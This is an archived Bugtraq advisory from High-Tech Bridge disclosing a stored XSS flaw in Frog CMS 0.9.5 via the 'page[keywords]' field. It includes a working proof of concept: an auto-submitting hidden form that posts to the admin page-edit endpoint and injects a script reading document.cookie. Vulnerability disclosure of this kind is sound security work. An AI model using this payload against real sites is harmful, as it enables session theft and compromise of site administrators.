[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
XSS vulnerability in Frog CMS
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: XSS vulnerability in Frog CMS
- From: advisory@xxxxxxxxxxx
- Date: Thu, 25 Nov 2010 10:49:44 +0100 (CET)
Vulnerability ID: HTB22682
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_frog_cms.html
Product: Frog CMS
Vendor: Philippe Archambault ( http://www.madebyfrog.com/ )
Vulnerable Version: 0.9.5 and probably prior versions
Vendor Notification: 09 November 2010
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing
(http://www.htbridge.ch/)
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the
"frog/app/controllers/PageController.php" script to properly sanitize
user-supplied input in "page[keywords]" variable. Successful exploitation of
this vulnerability could result in a compromise of the application, theft of
cookie-based authentication credentials, disclosure or modification of
sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is
available:
<form action="http://host/admin/?/page/edit/PAGE_ID" method="post" name="main">
<input type="hidden" name="page[parent_id]" value="1">
<input type="hidden" name="page[title]" value="page title">
<input type="hidden" name="page[slug]" value="sef_url">
<input type="hidden" name="page[breadcrumb]" value="breadcrumbs">
<input type="hidden" name="page[keywords]"
value='key"><script>alert(document.cookie)</script>'>
<input type="hidden" name="page[description]" value="">
<input type="hidden" name="page_tag[tags]" value="">
<input type="hidden" name="page[created_on]" value="2010-10-25">
<input type="hidden" name="page[created_on_time]" value="23:28:03">
<input type="hidden" name="page[published_on]" value="2010-10-25">
<input type="hidden" name="page[published_on_time]" value="23:28:04">
<input type="hidden" name="part[0][name]" value="body">
<input type="hidden" name="part[0][id]" value="7">
<input type="hidden" name="part[0][filter_id]" value="markdown">
<input type="hidden" name="part[0][content]" value="page content">
<input type="hidden" name="page[layout_id]" value="">
<input type="hidden" name="page[behavior_id]" value="">
<input type="hidden" name="page[status_id]" value="100">
<input type="hidden" name="page[needs_login]" value="2">
<input type="hidden" name="commit" value="Save and Close">
</form>
<script>
document.main.submit();
</script>